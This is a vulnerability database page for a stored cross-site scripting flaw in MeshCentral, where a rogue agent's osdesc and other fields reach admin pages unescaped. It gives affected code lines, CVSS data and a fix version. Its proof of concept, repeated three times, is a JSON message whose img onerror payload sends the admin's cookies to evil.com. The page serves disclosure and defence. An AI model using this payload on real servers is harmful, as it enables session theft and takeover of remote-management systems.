Every CVESearch/Get API key

GHSA-c7hr-448w-65px

MeshCentral has unsanitized data fields

8.3 HighFix available

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

  • node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
  • cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
  • volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

What each source reports

GitHub Advisories Score used8.3

MeshCentral has unsanitized data fields

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

  • node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
  • cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
  • volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Record
GHSA-c7hr-448w-65px
CVSS 3.1
8.3 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-20, CWE-74
Updated
2026-11-02
OSV8.3

MeshCentral has unsanitized data fields

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

  • node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
  • cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
  • volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Record
GHSA-c7hr-448w-65px
CVSS 3.1
8.3 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-20, CWE-74
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
meshcentral
npm
before 1.1.60
1.1.60

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

GHSA-c7hr-448w-65px is a high vulnerability (CVSS 8.3) in meshcentral, published August 18, 2026. No source lists public exploit code. Fixed in meshcentral 1.1.60.

References

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